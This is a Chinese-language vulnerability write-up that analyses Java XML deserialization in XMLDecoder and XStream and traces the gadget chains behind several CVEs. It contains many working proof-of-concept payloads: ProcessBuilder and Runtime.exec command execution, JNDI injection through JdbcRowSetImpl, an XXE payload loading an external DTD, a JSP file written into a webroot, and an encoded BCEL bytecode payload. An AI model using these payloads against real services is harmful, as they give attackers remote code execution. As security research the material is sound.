Java XML反序列化漏洞

例举出几个几个 XML 和 YAML 的反序列化漏洞。

  1. XMLDecoder
  2. XStream
  3. SnakeYaml

在我遇到的项目里,这三个依赖库最常见。

其中 XMLDecoder 不同于其他几个,这个更像是反射漏洞,虽然本质上都是可以反序列化回序列化的数据,但 XMLDecoder 和 XStream 可以自由的控制类、方法、参数,SnakeYaml 一类就同 Jackson 和 fastjson 一样,本质上是调用了 get、set 和构造方法。

weblogic debug

Reference:

debug点在test\weblogic.jar!\weblogic\wsee\jaxws\WLSServletAdapter.class:129

最后访问该网址测试是否debug

http://localhost:7001/wls-wsat/CoordinatorPortType

XMLDecoder

Encode

import java.beans.XMLEncoder;
import java.util.ArrayList;
import java.util.HashMap;

public class Encode {
    public static void main(String[] args){
        HashMap<Object, Object> map = new HashMap<>();
        map.put("123", "hhh");
        map.put("321", new ArrayList<>());

        XMLEncoder xmlEncoder = new XMLEncoder(System.out);
        xmlEncoder.writeObject(map);
        xmlEncoder.close();
    }
}

会得到一段用 XMLEncoder 生成 hashmap 对象 xml 的代码

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_171" class="java.beans.XMLDecoder">
 <object class="java.util.HashMap">
  <void method="put">
   <string>123</string>
   <string>hhh</string>
  </void>
  <void method="put">
   <string>321</string>
   <object class="java.util.ArrayList"/>
  </void>
 </object>
</java>

再拿这个生成的xml,用XMLDecoder解析

import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.StringBufferInputStream;
import java.util.ArrayList;
import java.util.HashMap;

public class Decode {
    public static void main(String[] args){
        String s = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
                "<java version=\"1.8.0_171\" class=\"java.beans.XMLDecoder\">\n" +
                " <object class=\"java.util.HashMap\">\n" +
                "  <void method=\"put\">\n" +
                "   <string>123</string>\n" +
                "   <string>hhh</string>\n" +
                "  </void>\n" +
                "  <void method=\"put\">\n" +
                "   <string>321</string>\n" +
                "   <object class=\"java.util.ArrayList\"/>\n" +
                "  </void>\n" +
                " </object>\n" +
                "</java>";
        StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);
        XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
        Object o = xmlDecoder.readObject();
        System.out.println(o);
    }
}

成功把刚才的map对象给反序列化回来了

{123=hhh, 321=[]}

可以根据其写法去执行代码

<java version="1.8.0_171" class="java.beans.XMLDecoder">
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
   <void index="0">
    <string>calc.exe</string>
   </void>
  </array>
  <void method="start">
  </void>
 </object>
</java>

相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

然后可以根据weblogic XMLDecoder的一些payload推断执行的代码

<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/ricky.jsp</string>
<void method="println">
<string><![CDATA[ricky]]></string>
</void><void method="close"/>
</object>
</java>

相当于执行了

java.io.PrintWriter x = new java.io.PrintWriter("/usr/local/tomcat/webapps/ROOT/static/ricky.jsp");
x.println("ricky");
x.close();

流程分析

整体流程

XMLDecoder.readObject()
  XMLDecoder.parsingCompelete()
    DocumentHandler.parse()       
      SAXParserFactory.newInstance().newSAXParser().parse()
        xmlReader.parse()

XMLDecoder类解析XML是调用DocumentHandler类实现的,而DocumentHandler类是基于SAXParser类对XML的解析上的, DocumentHandler类是XMLDecoder反序列化漏洞的根源类

通过readObject进入parsingComplete

    private boolean parsingComplete() {
        if (this.input == null) {
            return false;
        }
        if (this.array == null) {
            if ((this.acc == null) && (null != System.getSecurityManager())) {
                throw new SecurityException("AccessControlContext is not set");
            }
            AccessController.doPrivileged(new PrivilegedAction<Void>() {
                public Void run() {
                    XMLDecoder.this.handler.parse(XMLDecoder.this.input);
                    return null;
                }
            }, this.acc);
            this.array = this.handler.getObjects();
        }
        return true;
    }

接着调用XMLDecoder.this.handler.parse方法, 默认的handler

private final DocumentHandler handler = new DocumentHandler();

于是跟进DocumentHandler#parse

    public void parse(final InputSource var1) {
        if (this.acc == null && null != System.getSecurityManager()) {
            throw new SecurityException("AccessControlContext is not set");
        } else {
            AccessControlContext var2 = AccessController.getContext();
            SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
                public Void run() {
                    try {
                        SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
                    } catch (ParserConfigurationException var3) {
                        DocumentHandler.this.handleException(var3);
                    } catch (SAXException var4) {
                        Object var2 = var4.getException();
                        if (var2 == null) {
                            var2 = var4;
                        }

                        DocumentHandler.this.handleException((Exception)var2);
                    } catch (IOException var5) {
                        DocumentHandler.this.handleException(var5);
                    }

                    return null;
                }
            }, var2, this.acc);
        }
    }

跟进 SAXParserFactory.newInstance().newSAXParser().parse, 一开始是通过 SAXParserFactory.newInstance() 创建了一个 SAXParserFactoryImpl 实例, 调用其 newSAXParser 方法

    public SAXParser newSAXParser()
        throws ParserConfigurationException
    {
        SAXParser saxParserImpl;
        try {
            saxParserImpl = new SAXParserImpl(this, features, fSecureProcess);
        } catch (SAXException se) {
            // Translate to ParserConfigurationException
            throw new ParserConfigurationException(se.getMessage());
        }
        return saxParserImpl;
    }

很明显, 返回的是一个 SAXParserImpl 实例, 于是跟进 SAXParserImpl#parse

    public void parse(InputSource is, DefaultHandler dh)
        throws SAXException, IOException {
        if (is == null) {
            throw new IllegalArgumentException();
        }
        if (dh != null) {
            xmlReader.setContentHandler(dh);
            xmlReader.setEntityResolver(dh);
            xmlReader.setErrorHandler(dh);
            xmlReader.setDTDHandler(dh);
            xmlReader.setDocumentHandler(null);
        }
        xmlReader.parse(is);
    }

继续跟进 SAXParserImpl#parse

        public void parse(InputSource inputSource)
            throws SAXException, IOException {
            if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
                if (fSAXParser.fSchemaValidationManager != null) {
                    fSAXParser.fSchemaValidationManager.reset();
                    fSAXParser.fUnparsedEntityHandler.reset();
                }
                resetSchemaValidator();
            }
            super.parse(inputSource);
        }

跟进AbstractSAXParser#parse后再跟进XMLParser#parse, 然后往下走会来到XML11Configuration#parse

    public boolean parse(boolean complete) throws XNIException, IOException {
        //
        // reset and configure pipeline and set InputSource.
        if (fInputSource != null) {
            try {
                fValidationManager.reset();
                fVersionDetector.reset(this);
                fConfigUpdated = true;
                resetCommon();

                short version = fVersionDetector.determineDocVersion(fInputSource);
                if (version == Constants.XML_VERSION_1_1) {
                    initXML11Components();
                    configureXML11Pipeline();
                    resetXML11();
                } else {
                    configurePipeline();
                    reset();
                }

                // mark configuration as fixed
                fConfigUpdated = false;

                // resets and sets the pipeline.
                fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version);
                fInputSource = null;
            } catch (XNIException ex) {
                if (PRINT_EXCEPTION_STACK_TRACE)
                    ex.printStackTrace();
                throw ex;
            } catch (IOException ex) {
                if (PRINT_EXCEPTION_STACK_TRACE)
                    ex.printStackTrace();
                throw ex;
            } catch (RuntimeException ex) {
                if (PRINT_EXCEPTION_STACK_TRACE)
                    ex.printStackTrace();
                throw ex;
            } catch (Exception ex) {
                if (PRINT_EXCEPTION_STACK_TRACE)
                    ex.printStackTrace();
                throw new XNIException(ex);
            }
        }

determineDocVersion()主要获取XML实体扫描器然后扫描解析 <?xml version=…?> 来获取XML文档的版本信息

返回版本信息后,继续往下在XML11Configuration.parse()中调用startDocumentParsing()函数,主要是重置扫描器的版本配置并开始文件扫描准备,其中开始文件扫描准备是调用startEntity()函数(跟踪进去可以看到是通知扫描器开始实体扫描,其中文档实体的伪名称为"[xml]"、DTD的伪名称为"[dtd]"、参数实体名称以"%"开头;接着函数内部会调用startDocument()函数开始准备文件扫描), 最后会到 ObjectElementHandler#getValueObject 创建实例

1644346253263

最后解析到void标签获取到start方法,然后通过调用start方法实现了命令执行

XStream

XStream 和 XMLDecoder 差不多,都是 Java 对象和 XML 互转的库,在审计java项目时也经常能见到。比较出名的几个项目 Bamboo 、Struts2 、Jenkins 都有用到它,且曝出过漏洞。

XStream 有几个 CVE ,分别是 RCE、XXE、DOS。

XXE

影响 1.4.8 及之前版本

com.thoughtworks.xstream.io.xml.DomDriver domDriver = new com.thoughtworks.xstream.io.xml.DomDriver();
String x = "<!DOCTYPE foo [<!ELEMENT foo ANY >\n" +
           "<!ENTITY  % xxe SYSTEM \"http://127.0.0.1:2333/evil.dtd\" >\n" +
           "%xxe;]>\n" +
           "<foo>1</foo>";
domDriver.createReader(new StringReader(x));

漏洞参考 http://x-stream.github.io/CVE-2016-3674.html

DOS

影响 1.4.9 及之前版本

XStream xstream = new XStream();
xstream.fromXML("<void/>");
xstream.fromXML("<string class='void'>Hello, world!</string>");

RCE

它的 CVE 编号是 CVE-2013-7285,可以影响到 1.4.10 版本。还有 CVE-2019-10173。

1.4.10 版本更新的时候加了一个通过 XStream.setupDefaultSecurity 方法初始化安全框架的功能。但默认不被调用,依然可以攻击 1.4.10 版本的 XStream。

import com.thoughtworks.xstream.XStream;

public class xstream {
    public static void main(String[] args) {
        XStream xstream = new XStream();
        String x = "<sorted-set>\n" +
                "    <dynamic-proxy>\n" +
                "        <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>calc.exe</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "            <action>start</action>\n" +
                "        </handler>\n" +
                "    </dynamic-proxy>\n" +
                "</sorted-set>";
        xstream.fromXML(x);
    }
}

反序列化利用工具 marshalsec 里就可以生成 XStream 的很多 gadgets

CommonsConfiguration
Rome
CommonsBeanutils
ServiceLoader
ImageIO
BindingEnumeration
LazySearchEnumeration
SpringAbstractBeanFactoryPointcutAdvisor
SpringPartiallyComparableAdvisorHolder
Resin
XBean

实现的这些接口都是可以生成的 gadgets

Xstream反序列化

参考:

XStream的序列化和反序列化主要依靠toXML函数和fromXML函数

关于XStream的fromXML分析参考这篇文章

XStream反序列化和fastjson不一样的地方是fastjson会在反序列化的时候主动去调用getters和setters,而XStream的反序列化过程中赋值都有Java的反射机制来完成,所以并没有这样主动调用的特性。

MapConverter

针对Map类型还原的Converter

com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal

1644240547795

populateMap函数会去处理后续的值,直接来看具体put的地方 com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap

1644240666467

这里target作为接收者,会调用Map的put函数,后续就是对key调用hashCode函数

1644241596961

TreeSet/TreeMapConverter

这里TreeSet和TreeMap放一起,因为TreeSet本身就是一个只用上了Key的TreeMap;TreeSetConverter的反序列化处理也是先转化为TreeMapConverter的方式来优先还原TreeSet里的TreeMap,再填充到TreeSet里。

从TreeSetConverter开始

1644241300033

从Treeset中取出field treemap后,去进一步调用TreeMapConverter来还原TreeMap com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap

1644241382471

这里先用soredMap来填充需要还原的Entry,后续将调用TreeMap.putAll

1644241431860

最终会调用到java.util.AbstractMap#putAll

1644241510904

这里的put函数为TreeMap.put , 它的主要功能就是填充数据,并且在填充时将会比较当前存在key,如果是相同的key,则替换原有老的值。这个过程会去调用key的compareTo函数

DynamicProxyConverter

XStream还支持对动态代理的方式进行还原

image-20200415162242443

主要的关注点是使用Proxy动态代理, 可以扩展前面两种的自动调用函数的攻击面

结合上面基础知识中提到的几个Converter,我们想要利用XStream反序列化漏洞的话,得去充分利用前面提到的几个会自动调用的函数

EventHandler

XStream反序列化用的最多的EventHandler,来看看它的invoke函数

1644245329315

首先需要判断此时调用的函数是否为hashCodeequalstoString,如果是的话,采用以下的方式来处理。

if (methodName.equals("hashCode"))  {
    return new Integer(System.identityHashCode(proxy));
    } else if (methodName.equals("equals")) {
        return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
    } else if (methodName.equals("toString")) {
        return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
}

需要利用的是invokeInternal函数后续的部分,所以我们利用的时候不能用它来调用上面的3个函数,意味着前面提到的Map的方式,不适合用在这个地方;而TreeSet这种调用compareTo函数,可以用来继续往下走。

1644246053051

后续的就是java反射机制来实现函数调用, 并且这里的target和action都是可控的。

此处action函数参数是有要求的:

  1. 无参数
  2. 单个参数,且参数的类型为Comparable,并且这个action函数是可利用的

第2种暂时未出现, 可以利用第一种方法:

  • 配置好cmd的ProcessBuilder,action填start
  • 配置好rmi url的JdbcRowSetImpl,action填getDatabaseMetaData,主要思路就是可利用的getters

TreeSet

POC1

<sorted-set>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc.exe</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

POC2

<sorted-set>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
        <javax.sql.rowset.BaseRowSet>
          <default>
            <dataSource>ldap://127.0.0.1:1099/calc</dataSource>
          </default>
        </javax.sql.rowset.BaseRowSet>
      </target>
      <action>getDatabaseMetaData</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

也就是把dataSource在父类javax.sql.rowset.BaseRowSet默认赋值后调用子类com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData触发JNDI注入, 完整的写法会比这个复杂, 原因是把所有的默认值都生成了

POC3

<sorted-set>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
        <javax.sql.rowset.BaseRowSet>
          <default>
            <concurrency>1008</concurrency>
            <escapeProcessing>true</escapeProcessing>
            <fetchDir>1000</fetchDir>
            <fetchSize>0</fetchSize>
            <isolation>2</isolation>
            <maxFieldSize>0</maxFieldSize>
            <maxRows>0</maxRows>
            <queryTimeout>0</queryTimeout>
            <readOnly>true</readOnly>
            <rowSetType>1004</rowSetType>
            <showDeleted>false</showDeleted>
            <dataSource>ldap://127.0.0.1:1099/calc</dataSource>
            <listeners/>
            <params/>
          </default>
        </javax.sql.rowset.BaseRowSet>
        <com.sun.rowset.JdbcRowSetImpl>
          <default>
            <iMatchColumns>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
              <int>-1</int>
            </iMatchColumns>
            <strMatchColumns>
              <null/>
              <null/>
              <null/>
              <null/>
              <null/>
              <null/>
              <null/>
              <null/>
              <null/>
              <null/>
            </strMatchColumns>
          </default>
        </com.sun.rowset.JdbcRowSetImpl>
      </target>
      <action>getDatabaseMetaData</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

TreeMap

POC4

<tree-map>
  <entry>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="java.beans.EventHandler">
        <target class="java.lang.ProcessBuilder">
          <command>
            <string>calc.exe</string>
          </command>
          <redirectErrorStream>false</redirectErrorStream>
        </target>
        <action>start</action>
      </handler>
    </dynamic-proxy>
    <string>ricky</string>
  </entry>
</tree-map>

POC5

<tree-map>
  <entry>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class="java.beans.EventHandler">
        <target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
        <javax.sql.rowset.BaseRowSet>
          <default>
            <dataSource>ldap://127.0.0.1:1099/calc</dataSource>
          </default>
        </javax.sql.rowset.BaseRowSet>
      </target>
      <action>getDatabaseMetaData</action>
    </handler>
    </dynamic-proxy>
    <string>ricky</string>
  </entry>
</tree-map>

Groovy ConvertedClosure

利用环境:groovy <= 2.4.3,在后续的版本里,MethodClosure不允许反序列化调用

MethodClosure

当前MethodClosure的主要作用就是封装我们需要执行的对象,比如

new MethodClosure(Runtime.getRuntime(), "exec");

封装Runtime对象,并设定后续需要调用的函数exec

ConvertedClosure

这个ConvertedClosure也是继承了InvocationHandler,可以在动态代理中作为handler的存在,来看一下他的invoke

ConvertedClosure 调用的是父类org.codehaus.groovy.runtime.ConversionHandler#invoke

1644249985466

主要看这个部分,对于当前调用的函数,如果非Object的函数(如toString、hashCode等),并且不是GroovyObject的函数,会去调用子类的invokeCustom,这里看org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom

1644250022030

这里的属性都是可控的,也就意味着我们可以去调用去调用前面构造好的MethodClosure

参考: https://paper.seebug.org/1171/

compareTo会带上一个参数,所以我们MethodClosure封装的后续需要调用的函数必须要存在一个String类型的参数,不然会找不到函数报错, 直接构造Runtime.exec可以解决这个问题

<sorted-set>
  <string>calc</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.codehaus.groovy.runtime.ConvertedClosure">
      <delegate class="org.codehaus.groovy.runtime.MethodClosure">
        <delegate class="java.lang.Runtime"/>
        <owner class="java.lang.Runtime" reference="../delegate"/>
        <method>exec</method>
      </delegate>
      <handleCache/>
      <methodName>compareTo</methodName>
    </handler>
  </dynamic-proxy>
</sorted-set>

Groovy Expando

这里使用Map的类型来触发。以Map的类型来触发,那就是找可以利用的hashCode函数

groovy.util.Expando#hashCode

1644250612546

如果在类属性expandoProperties中存在hashCode:methodclosure的内容,我们可以在这里直接调用MethodClosurecall函数,跟上面ConvertedClosure后续的调用一样,但是这里调用时没有函数参数过来,所以这里的思路是ProcessBuilder.start或者fastjson那种getters的利用

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="java.lang.ProcessBuilder">
              <command>
                <string>calc.exe</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </delegate>
            <owner class="java.lang.ProcessBuilder" reference="../delegate"/>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <string>ricky</string>
  </entry>
</map>

groovy String execute() method (sample: "calc.exe".execute())

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
              <delegate class="string">calc.exe</delegate>
            <owner class="string">calc.exe</owner>
            <method>execute</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <groovy.util.Expando/>
  </entry>
</map>

ImageIO$ContainsFilter(CVE-2020-26217)

这条链利用的也是HashMap自动调用hashCode方法的触发点

image-20210707112016412

POC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command class="java.util.Arrays$ArrayList">
                        <a class="string-array">
                          <string>calc.exe</string>
                        </a>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString />
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString />
    <jdk.nashorn.internal.objects.NativeString />
  </entry>
</map>

ServiceLoader$LazyIterator

java.util.ServiceLoader$LazyIterator类的next方法中会调用Class.forName, 其中ClassName和loader都可控,可以利用以前BCEL的classLoader会把className内容当字节码加载的gadget实现getshell。

image-20210707162814248

虽然Class.forName的第二个参数为false无法加载类的静态块,但是在后续实例化了这个类,所以可以在无参构造函数里插入恶意代码。

修改BCEL ClassLoader构造POC

这里来提一下关于POC的构造,如果你使用了当前这个利用链,并且不对ClassLoader做处理的话,你会发现怎么都打不通,因为这里在实际还原ClassLoader的时候出现了错误

image-20200417225056222

这里有两种解决方案,一是去除这种还原有问题的类(会很麻烦),二是直接把ClassLoader里的一些无关紧要的东西剔除掉。

这里我选择了第二种,经过调试去除了以下几个属性的值

image-20200417225303428

这里由于我们剔除了ignored_packagesdeferTo,导致BCEL的ClassLoader在载入普通的类的时候会出现加载错误的问题

image-20200417225600161

来看看怎么解决这个问题

首先BCEL的ClassLoader.loadClass,一共尝试4次不同的载入方法

  1. 从当前ClassLoader的classes去找

    image-20200417225808446

  2. 对于默认忽略的包java./sun./javax.,使用deferTo去重新加载,这里的deferTo是系统的ClassLoader(ClassLoader.getSystemClassLoader())

    image-20200417230040882

  3. 对于classname以$$BCEL$$开头的,根据classname的值去defineClass,这边就是我们最喜欢的任意载入字节码的地方

    image-20200417230343866

  4. 最后一次是用repository去载入当前的classname,如果这里还没找到,就会爆没有找到Class的错误

    image-20200417230451954

    PS:这部分repository取的SyntheticRepository.getInstance(),还不是很清楚这个左右,后续整理一下ClassLoader相关的知识再做补充

再来看我们报错的原因,因为删除ignored_packagesdeferTo之后,相当于第二种情况无法载入了,而显然java.lang.Object不符合第三种情况。最后第4种里面也没有找到这个java.lang.Object,所以最终爆了ClassNotFoundException

这里其实已经很明显了,解决这个问题,我们得在classes里添加我们传入的class字节码里所用到的所有类,那么在第一次尝试载入的时候,就找到了相应的类,无需尝试后续的几种载入方式。

比如这里我产生的字节码里面用上了Runtime,就得加上这个类

image-20200417231357924

这里的Object必须加上,毕竟所有的对象都继承自Object

测试后发现报错提示找不到的类还是需要添加, 基本的命令执行需要以下四个类

java.lang.Object
java.lang.Runtime
java.lang.Throwable
java.lang.Exception

POC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="java.util.ServiceLoader$LazyIterator">
                  <service>java.lang.Object</service>
                  <loader class="com.sun.org.apache.bcel.internal.util.ClassLoader">
                    <package2certs class="hashtable"/>
                    <classes defined-in="java.lang.ClassLoader"/>
                    <defaultDomain>
                      <principals/>
                      <hasAllPerm>false</hasAllPerm>
                      <staticPermissions>false</staticPermissions>
                      <key/>
                    </defaultDomain>
                    <domains/>
                    <packages/>
                    <nativeLibraries/>
                    <defaultAssertionStatus>false</defaultAssertionStatus>
                    <classes>
                      <entry>
                        <string>java.lang.Object</string>
                        <java-class>java.lang.Object</java-class>
                      </entry>
                      <entry>
                        <string>java.lang.Runtime</string>
                        <java-class>java.lang.Runtime</java-class>
                      </entry>
                      <entry>
                        <string>java.lang.Throwable</string>
                        <java-class>java.lang.Throwable</java-class>
                      </entry>
                      <entry>
                        <string>java.lang.Exception</string>
                        <java-class>java.lang.Exception</java-class>
                      </entry>
                    </classes>
                    <ignored__packages/>
                    <repository class="com.sun.org.apache.bcel.internal.util.SyntheticRepository">
                      <__path>
                        <paths/>
                        <class__path></class__path>
                      </__path>
                      <__loadedClasses/>
                    </repository>
                  </loader>
                  <nextName>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$3cD$f1$fd$7e$C$LY$b8$d4$b8$d0$e0$c6$fa$88$Y$5c_$ae7x$b5$b6$a4$5c$88$7f$e4$da$8d$g$X$7e$80$le$9c$d6$H$gm$d2$99$ce$993g$ce$a4$afo$cf$_$A6$b1f$c3$c2$b8$8d$JLZ$98$8a$f2$b4$89$Z$h$v$cc$9a$9831$cf$90$deV$be$d2$3b$M$c9r$a5$c9$60$ec$F$X$92$n$ef$w_$k$f5nZ2$3c$e3$z$8f$90$a2$h$I$ee5y$a8$a2$fa$T4$f4$a5$ea2$U$dc$9eV$5e$b7V$ef$xow$af$een1X$db$c2$fb$UfD$y$b9W$bc$cfk$k$f7$db$b5$fa$ad$90$j$ad$C$9fh$d9$86$e6$e2$fa$90wbA$f2$c6$607$82$5e$u$e4$be$8a$Wd$bf$q7$a2y$H$Z$d8$s$W$i$yb$89v$90$n$b1$no$a5$83e$ac0$8c$fc$b3$c3$c1$wl$86$dco$83dy$c0$3dn$5dI$a1$Z$86$H$d0i$cf$d7$ea$86$f6$dbm$a9$bf$8bR$b9$e2$fe$e1$d0$R$GY$Q$M$eb$e5$l$dd$86$O$95$df$de$fa9p$S$GBv$bb4$90$efPS$c7$a7$9f$85$5cH$3a$c7$a4$l$V$3d$J$b0$e8H$8aCT$d5$u3$ca$a9$ea$p$d8$7d$dcv$u$a6c0$89$yE$e7$83$80$i$f2$94$z$U$be$87y$y$G$U$9f$90$u$s$l$60$9c$df$c1$3a$a8$3e$m$7d$l$e3$Z$9aM$91J$a48F_$91n$sFMR$b60LJ_$h$b20$a8$$R5B$af$89$84kb$d4$a0F$v65$f6$O$ff8$d8$efr$C$A$A</nextName>
                  <outer-class/>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

CVE-2021-21344

从PriorityQueue的readObject调用compare作为入口点,直到com.sun.xml.internal.bind.v2.runtime.reflect.Accessor.GetterSetterReflection的get方法进行了反射调用。关键点在于Accessor.GetterSetterReflection类虽然未实现Serializable接口,但是仍然可以反序列化使用。下图就是最后利用ProcessBuilder.start执行命令的链

image-20210708172404217

POC1

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>java.lang.ProcessBuilder</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>java.lang.ProcessBuilder</class>
                          <name>start</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='java.lang.ProcessBuilder'>
                  <command>
                    <string>calc.exe</string>
                  </command>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-21345

在CVE-2021-21344的基础上不采用JdbcRowSetImpl而是使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码, 在 ServerTableEntry 类的 verify 方法上

    public int verify()
    {
        try {

            if (debug)
                System.out.println("Server being verified w/" + activationCmd);

            process = Runtime.getRuntime().exec(activationCmd);
            int result = process.waitFor();
            if (debug)
                printDebug( "verify", "returns " + ServerMain.printResult( result ) ) ;
            return result ;
        } catch (Exception e) {
            if (debug)
                printDebug( "verify", "returns unknown error because of exception " +
                            e ) ;
            return ServerMain.UNKNOWN_ERROR;
        }
    }

控制 activationCmd 的值即可命令执行

